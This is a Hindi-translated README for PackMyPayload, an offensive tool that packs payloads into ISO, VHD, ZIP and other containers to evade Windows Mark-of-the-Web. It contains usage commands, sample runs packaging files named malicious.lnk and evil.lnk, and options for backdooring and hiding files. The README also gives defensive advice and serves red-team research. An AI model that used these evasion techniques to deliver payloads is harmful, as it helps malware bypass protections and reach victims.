
एक PoC जो पेलोड को आउटपुट कंटेनरों में पैकेज करता है ताकि Mark-of-the-Web फ़्लैग से बचा जा सके और कंटेनर फ़ाइल फ़ॉर्मेट से जुड़े जोखिमों का प्रदर्शन किया जा सके। समर्थन करता है: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload - कंटेनरीकृत मैलवेयर का उभरता खतरायह टूल इनपुट पर एक फ़ाइल या निर्देशिका लेता है और उन्हें एक आउटपुट फ़ाइल में एम्बेड करता है जो एक आर्काइव/कंटेनर के रूप में कार्य करता है। यह एम्बेडेड मैलवेयर वाले कंटेनर फ़ाइल प्रारूपों के उभरते जोखिम को प्रस्तुत करने वाले प्रूफ-ऑफ-कॉन्सेप्ट के साथ-साथ पेशेवर रेड टीम ऑपरेटरों को उनके प्रारंभिक अभिगम पैंतरे को तेज करने में सहायक के रूप में काम कर सकता है।
वर्तमान में खतरे के अभिनेता अपने मैलवेयर को विभिन्न कंटेनर फ़ाइल प्रारूपों में संग्रहित करते हुए तस्करी करने के लिए जाने जाते हैं, जिनमें से कुछ का नाम:
7zipzipISOIMGवे ऐसा अपने पेलोड को फ़ाइल सामग्री स्कैनर से गुजरने से बचाने के लिए करते हैं, लेकिन इससे भी महत्वपूर्ण बात यह है कि अपनी फ़ाइलों पर वेब का चिह्न (Mark-Of-The-Web) ध्वज से बचने के लिए। प्रतिद्वंद्वियों की अपनी फ़ाइलों पर MOTW नहीं चाहने के विभिन्न कारण हैं: माइक्रोसॉफ्ट ऑफिस में संरक्षित दृश्य हमेशा उनमें से एक रहा है।
यदि वे अपने पीड़ितों को कंटेनर फ़ाइल प्रदान करते हैं, तो इंटरनेट-मूल ऑफिस दस्तावेज़ों में VBA मैक्रो को अक्षम करने की नींव को दरकिनार किया जा सकता है।
फरवरी, 7 को माइक्रोसॉफ्ट ने घोषणा की कि इंटरनेट से उत्पन्न VBA मैक्रो को ब्लॉक करने के लिए डिफ़ॉल्ट कॉन्फ़िगरेशन परिवर्तन किया जाएगा। यह उपयोगकर्ता के वर्कस्टेशन और उसमें स्थापित क्लाइंट सॉफ़्टवेयर के बेसलाइन कॉन्फ़िगरेशन को सख्त करने की दिशा में एक अविश्वसनीय कदम है। बहस योग्य रूप से अतिदेय, फिर भी एक महत्वपूर्ण कदम जो सामान्य विंडोज+ऑफिस इंस्टॉलेशन सेटअप को नाटकीय रूप से सकारात्मक रूप से प्रभावित करता है।
कार्यान्वित व्यवहार को MOTW (वेब का चिह्न) ध्वज के आधार पर मैक्रो-सक्षम ऑफिस दस्तावेज़ों को अलग करके काम करने के लिए समझाया गया है। वह ध्वज सॉफ़्टवेयर क्लाइंट (ब्राउज़र, मेल क्लाइंट, फ़ाइल आर्काइवर, आदि) के लिए एक दूषित लेबल के रूप में कार्य करता है जो इंटरनेट जैसे अविश्वसनीय क्षेत्रों से उत्पन्न फ़ाइलों को चिह्नित करता है।
आउटफ्लैंक ने MOTW पर अधिक प्रकाश डाला, 2020 में वापस उन क्षेत्रों को इंगित करके जहां MOTW ध्वज समान रूप से प्रचारित नहीं किया जाता है। ये क्षेत्र रक्षा अंतराल की भूमिका निभाते हैं और वर्षों से खतरे के अभिनेताओं द्वारा आमतौर पर दुरुपयोग किए जाते हैं।
उनके शोध से पता चला कि कुछ कंटेनर फ़ाइल प्रारूप - अर्थात् ISO, VHD/VHDX - ऑटो-माउंट या ऑटो-एक्सट्रैक्शन पर आंतरिक फ़ाइलों पर MOTW दूषण ध्वज का प्रचार नहीं करते हैं। इसके अलावा, विंडोज 8+ डबल-क्लिक करने पर इन प्रारूपों को स्वचालित रूप से खोलने में सक्षम है, जिससे वे कुख्यात संक्रमण वाहक बन जाते हैं, संभवतः अपनी सुरक्षा माप भूमिका में MOTW को अवमूल्यित करते हैं।
आइए प्रस्तुत करें कि वेब का चिह्न ध्वज व्यवहार में कैसा दिखता है:

फ़ाइल डाउनलोड करने के बाद, उस पर राइट क्लिक करें और इसके गुणों की समीक्षा करें।
आपको फ़ाइल को अनब्लॉक करने का संकेत देने वाला एक संदेश दिखाई देगा, क्योंकि यह अविश्वसनीय क्षेत्र से उत्पन्न होता है:

वह जानकारी NTFS ADS (वैकल्पिक डेटा स्ट्रीम) में Zone.Identifier नामक संग्रहित की जाती है जो इस प्रकार दिखती है:

ZoneId=3 फ़ाइल को दूषित के रूप में चिह्नित करने की भूमिका निभाता है।
PackMyPayload.py का उपयोग करके फ़ाइल को ISO Joliet डिस्क में आसानी से एक कमांड के साथ रखें:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

ISO फ़ाइल बनाने के बाद, Python का उपयोग करके एक HTTP सर्वर का अनुकरण करें:
PS> py -m http.server 80
और फिर अपने ब्राउज़र का उपयोग करके ISO फ़ाइल डाउनलोड करें।

जब आप उस ISO फ़ाइल के गुणों की समीक्षा करेंगे, तो आप देखेंगे कि यह MOTW ध्वज के साथ चिह्नित है।

हालांकि, आंतरिक 7zip इंस्टॉलर EXE फ़ाइल MOTW-चिह्नित नहीं है!

इस अवसर का उपयोग करते हुए कि उद्योग की निगाहें माइक्रोसॉफ्ट के VBA मैक्रो को ब्लॉक करने के साहसिक निर्णय पर हैं, हम, पेशेवर सुरक्षा शोधकर्ता, जो दुनिया की प्रौद्योगिकियों की उनके दुरुपयोग के प्रति लचीलापन बढ़ाने पर अत्यधिक ध्यान देते हैं, वर्तमान खतरे के अभिनेताओं के TTP में निम्नलिखित अंतर्दृष्टि जोड़ना चाहते हैं:
खतरे के अभिनेता अपने फिशिंग पेलोड पर MOTW के प्रभाव से अच्छी तरह वाकिफ हैं। उन्होंने बहुत पहले ही अनुकूलित कर लिया है और अब अपने दुर्भावनापूर्ण प्रोग्राम को कंटेनरों के अंदर तस्करी कर रहे हैं। सबसे सामान्यतः देखे जाने वाले में हम ISO, IMG, CAB को उजागर कर सकते हैं।
मैं अब इस टूल को जारी कर रहा हूँ ताकि माइक्रोसॉफ्ट के रुख पर बनी गति को बढ़ाया जा सके और इन चोरी के रास्तों पर चर्चा को तेज करने में मदद मिल सके।
यह सलाह दी जाती है कि जब भी ये फ़ाइलें अविश्वसनीय क्षेत्रों से उत्पन्न हों और जहाँ भी लागू हो, ऊपर सूचीबद्ध एक्सटेंशन वाली फ़ाइलों को सम्मिलित (और/या ब्लॉक) किया जाए:
जारी किया गया टूल उम्मीद है कि अधिक रेड टीम को चर्चित जोखिमों का अनुकरण करने और उनके भागीदारों की सुरक्षा के भीतर पता लगाने के अंतराल को अधिक आसानी से पहचानने में सक्षम बनाएगा।
यह स्क्रिप्ट निम्नलिखित विशेषताएँ और सुविधाएँ प्रदान करती है:
समर्थित प्रारूप:
--zip-noreadonly न दिया गया हो।cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART को भौतिक उपकरण वस्तुओं/नामस्थान तक व्यवस्थापक पहुंच की आवश्यकता के कारण है। सर्वोत्तम अनुभव के लिए स्क्रिप्ट को Windows Terminal (wt) या ConEmu पर चलाएं क्योंकि वे ANSI रंगों का समर्थन करते हैं। अन्यथा, यदि आउटपुट खराब दिखता है, तो उन रंगों को -N ध्वज से अक्षम करें:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-_-^-_-^-_-^-_-^-_-^-_-^-_-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
MSI फ़ाइलों के लिए समर्थन जोड़ें
MS Office 2007+ दस्तावेज़ों में फ़ाइलें एम्बेड करें: word -> embeddings -> oleObject1.bin (OLE स्ट्रीम) + समायोजित करें
अन्य विदेशी आर्काइव प्रारूपों के लिए समर्थन जोड़ने पर विचार करें (वास्तव में MOTW से निपटने या विंडोज द्वारा तैयार समर्थित नहीं):
tarcpiopaxxararmtreeshartarcpgzuuमैं आपसे विनम्र निवेदन करता हूँ कि आप निम्नलिखित पंक्ति को ज़ोर से और जितनी जल्दी हो सके एक दर्पण के सामने पढ़ें:
py Pack My Payload dot py
कुछ का कहना है कि यह मंत्र प्राचीन DAEMON और भेड़ों को बुलाता है ( ͡~ ͜ʖ ͡°)
निम्नलिखित योगदानकर्ताओं को तालियाँ और धन्यवाद जिन्होंने इस टूल को बेहतर बनाने में मदद की:
--hide ध्वज जोड़ा--hide ध्वज के साथ समस्या को ठीक कियायह और अन्य परियोजनाएँ नींद हराम रातों और बहुत सारी कड़ी मेहनत का परिणाम हैं। यदि आप मेरे काम को पसंद करते हैं और सराहना करते हैं कि मैं हमेशा समुदाय को वापस देता हूँ, मेरे लिए एक कॉफी खरीदने पर विचार करें (या बेहतर एक बीयर) बस धन्यवाद कहने के लिए! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| प्रारूप | MOTW हटाता है? | तैयार विंडोज समर्थन? | उच्चीकरण आवश्यक? | टिप्पणियाँ |
|---|
Zip | नहीं/हाँ* | हाँ | नहीं | (CVE-2022-41091 के साथ MOTW हटाया गया) |
7zip | आंशिक रूप से | नहीं | नहीं | MOTW केवल मैन्युअल फ़ाइल निष्कर्षण पर हटाया गया |
ISO | हाँ | हाँ | नहीं | |
IMG | हाँ | हाँ | नहीं | |
PDF | ? | हाँ | नहीं | PDF रीडर में Javascript समर्थन पर निर्भर करता है |
CAB | नहीं | हाँ | नहीं | पीड़ित-पक्ष पर कुछ अतिरिक्त क्लिक की आवश्यकता है |
VHD | हाँ | हाँ | हाँ | यह स्क्रिप्ट वर्तमान में निर्देशिका नहीं बना सकती |
VHDX | हाँ | हाँ | हाँ | यह स्क्रिप्ट वर्तमान में निर्देशिका नहीं बना सकती |
lhaWinZip Pro निम्नलिखित प्रारूपों के निष्कर्षण का भी समर्थन करता है - शायद उन्हें भी जोड़ना उचित है:
B64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX,